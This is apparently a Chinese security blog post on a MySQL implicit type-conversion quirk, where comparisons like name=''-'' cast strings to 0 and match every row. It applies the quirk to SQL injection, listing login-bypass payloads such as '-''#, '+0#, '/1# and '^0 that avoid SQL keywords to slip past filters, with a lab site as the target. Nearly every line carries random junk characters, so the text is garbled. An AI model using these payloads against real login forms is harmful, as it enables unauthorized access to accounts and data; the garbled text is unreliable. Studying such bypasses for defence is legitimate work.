我们先来看这样一个场景。
# `7 e, J' `5 M5 ?, h% N8 m有以下表结构: 0 \* k+ T0 X+ I- N# |* S8 p6 Y
, [+ _2 [/ n! y- U) cmysql> desc admin;
' t0 P- [3 B C' l+----------+--------------+------+-----+---------+----------------+$ E+ A \3 G0 e7 [; b" n. X/ M( n- X' ?
| Field | Type | Null | Key | Default | Extra |( x3 n$ ?( a( y' |2 o {- M
+----------+--------------+------+-----+---------+----------------+
; ?! z; l: K% i4 Z" I| id | mediumint(9) | NO | PRI | NULL | auto_increment |
5 ?! ]/ v& A0 e| name | char(32) | NO | UNI | NULL | | N7 o0 \9 t0 }0 R- K3 m# r
| password | char(32) | NO | UNI | NULL | |
2 L0 e y; L# i( D2 l' E+----------+--------------+------+-----+---------+----------------+' Q7 w) c1 ~2 `5 ] P, E* m+ o+ r
3 rows in set (0.00 sec); D# }2 g2 h2 H
执行select * from admin;,成功返回所有记录内容。0 I) N6 G" i9 C3 w
& Q7 Q: G, p% L6 c
|3 P2 F' C9 ~- D, L
+----+--------+----------------------------------+
$ s0 W+ m+ Y/ g+ P3 ], K" L1 _* Q+ {& a7 E| id | name | password |% D2 F; J+ a8 I. N3 A
+----+--------+----------------------------------+
% _; h" s. ~& t9 a [| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% C" N( N2 f c% B9 f9 \
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
3 V) G- ~4 Y4 J& z' h| 4 | n00b | ff80e8508d39047460921792273533a4 |
7 c, ~& A, N( ~* j* p a% r+----+--------+----------------------------------+
3 Q9 ^' O+ j' W3 rows in set (0.00 sec)
- Q2 A- U, K1 H7 \- \; W执行select * from admin where name=”;,没有匹配到任何记录。
2 h/ @) p: ~* } H* Z. w+ [" w) H
: Y! b1 `3 y: o9 z Amysql> select * from admin where name = '';
" h) x w/ x2 V* Z; T7 hEmpty set (0.00 sec)
4 M9 q1 Y9 H& h- s那么我们来执行select * from admin where name = ”-”;) J4 _5 ~% E' E% O0 {4 ?7 Y
+ _/ J& `! ^# {# f& A( L! T
2 a$ n! d% O$ c6 w4 n& S+----+--------+----------------------------------+
2 v0 W' c7 P0 J& P2 d/ || id | name | password |
# w4 m) L+ H2 p+----+--------+----------------------------------+' d' b, o3 _0 o1 |. a9 ^
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
- K6 O4 F" f7 [( }4 A; q* m1 I5 Z| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
: [( l( D, D n8 r/ E| 4 | n00b | ff80e8508d39047460921792273533a4 |
8 D [; n- E1 ?+----+--------+----------------------------------+( H' R7 a! j7 P3 _7 E3 ?* q z
3 rows in set, 3 warnings (0.00 sec)( w; a N# i0 z/ _, E: w7 v
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
! z# p% L( q4 Q9 Z' `! L, D+ b) ]- F. I+ Z
mysql> show warnings;
0 W# Q7 s3 M$ I8 g" w" V+---------+------+------------------------------------------
$ c1 b$ Y E/ t- s; B: |8 x| Level | Code | Message
* [7 w' h5 \$ a B; d+---------+------+------------------------------------------5 ~# X/ C+ x. e) B
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin9 T" i! Y& Y8 C% `) }4 u
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s# T! L P+ k$ T- ~! K
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
4 N. \* H3 F# ]3 j1 m+---------+------+------------------------------------------
4 o1 ~2 H! _- G+ `6 x) M/ C! j3 r3 rows in set (0.00 sec)' C: A; I0 [5 a1 x5 w" r' ^1 d
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 $ \+ W( F& v6 f" i
. Y6 v! C) f7 R+ M, xmysql> select ''-'';+ z* t, q) Z. _5 F5 ?2 E+ ^
+-------+* k) `6 S( j' v, l
| ''-'' |
) K6 v6 r' t) a+-------+0 m0 @' P3 m l. j
| 0 |
, J+ a# L7 Y4 V$ M7 h* X+-------+
/ M8 }* o( K D. R' m2 B1 row in set (0.00 sec)
1 V+ k6 O3 H8 u! u k% V7 N返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
* R5 ], w4 i+ O- s* o9 g( s8 z# {4 h( d4 u
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);, v$ s: `! ], V) M7 @3 ? Z7 ^- t
+-----------------------------------------------------+7 n9 b) C6 ]1 S* z
| CAST((select name from admin limit 1,1) as DECIMAL) |
3 P3 b1 Z/ @* |! n+-----------------------------------------------------+
4 B8 P4 G+ U& d' N) ]1 Q4 [| 0 |+ `5 G( \3 S4 D0 D; x+ m) T$ K
+-----------------------------------------------------+
$ a; I K5 G% T1 t4 u1 row in set, 1 warning (0.00 sec)
- S; p. a9 T4 R; r1 D! d- n0 p/ G因此where语句构成了相等的条件,where 0=”=”,记录被返回。
# s2 ?4 U9 s4 L3 j O' C( _* R" A) V4 W$ ] E# p# C; b
SQL注入场景: http://www.sqlzoo.net/hack/
9 g6 B! ]7 L$ T9 O& v/ h) [ T
% ]5 o( s3 g9 ?, L5 p" R# ]" n9 \
+ f6 m9 o, I2 G0 g
7 U$ S/ {/ \/ z! g3 e A如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 - L( Q3 E4 ^% \ y- v
, w% d2 C# ?6 a8 [( F! F& ~
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 $ d3 y! j$ `. L
: ^, Y6 v6 @. u3 l
# M2 L- _4 |+ v- `1 C+ f
* d* K B- t: k" w& c3 i3 m- f# S
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 & S. B2 k# c5 A
# y& d8 j3 j+ v
; t8 j( W" T- L% s. ^& C& I8 A2 u% k0 a( m l; X4 ~' c4 v. Y
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可; h& N1 s/ T3 k {
6 U# G, u1 n+ w- r; l# U' |# c7 {. D; D+ r0 l; A
mysql> select ''/1;
7 y ]1 E4 C5 Y: E2 O" G& F) N+------+
8 c2 f! Y+ h, h2 r# e; O) s0 G3 Z| ''/1 |
3 m9 T$ v. x6 d8 `3 @+------+
. I& g8 \; ]$ d4 J+ k| 0 |
+ l1 c- L# Z$ z$ w' Q6 Z+------+
P* Y- p+ [) m' W( F- d' H1 row in set (0.00 sec)
9 f* Z: l4 Y0 m4 _类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 / A* F$ s4 W2 i
8 \: e# D$ R( V1 }5 @! n9 [
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
( c" T6 \3 c% A) K |
|